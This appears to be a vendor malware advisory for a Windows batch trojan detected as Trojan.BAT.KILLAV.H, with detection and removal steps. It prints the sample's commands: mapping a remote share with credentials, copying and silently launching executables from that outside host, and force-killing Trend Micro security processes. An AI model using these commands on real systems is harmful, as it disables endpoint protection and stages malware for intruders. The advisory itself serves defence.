Analysis by: Jeffrey Francis Bonaobra

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 SYSTEM IMPACT RATING:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 773 bytes
File Type: BAT
Memory Resident: No
Initial Samples Received Date: 25 Jul 2025

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • cd %Public%\
  • net use \{IP Address} /u:{Domain Name}\{User Name} {Password}
  • cmd /c copy \{IP Address}\{Domain Name}\vmtools.exe %Public%\ /y
  • cmd /c copy \{IP Address}\{Domain Name}\log.bat %Public%\log.txt /y
  • start /B cmd /c "%Public%\vmtools.exe 2>nul || exit"
  • timeout /t 5
  • taskkill /f /im tm_netagent.exe
  • taskkill /f /im VOneAgentConsoleTray
  • cmd /c copy \{IP Address}\{Domain Name}\* %Public%\ /y
  • start /B cmd /c "%Public%\{Domain Name}.exe 2>nul || exit"
  • start /B cmd /c "%Public%\{Domain Name}-e.exe b 2>nul || exit"
  • start /B cmd /c "%Public%\{Domain Name}-f.exe 2>nul || exit"
  • cmd /c start %Public%\{Domain Name}.exe
  • cmd /c start %Public%\{Domain Name}-f.exe
  • cmd /c %Public%\{Domain Name}-e.exe b

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 20.350.03
FIRST VSAPI PATTERN DATE: 25 Jul 2025
VSAPI OPR PATTERN File: 20.351.00
VSAPI OPR PATTERN Date: 26 Jul 2025

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Scan your computer with your Trend Micro product to delete files detected as Trojan.BAT.KILLAV.H. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


Did this description help? Tell us how we did.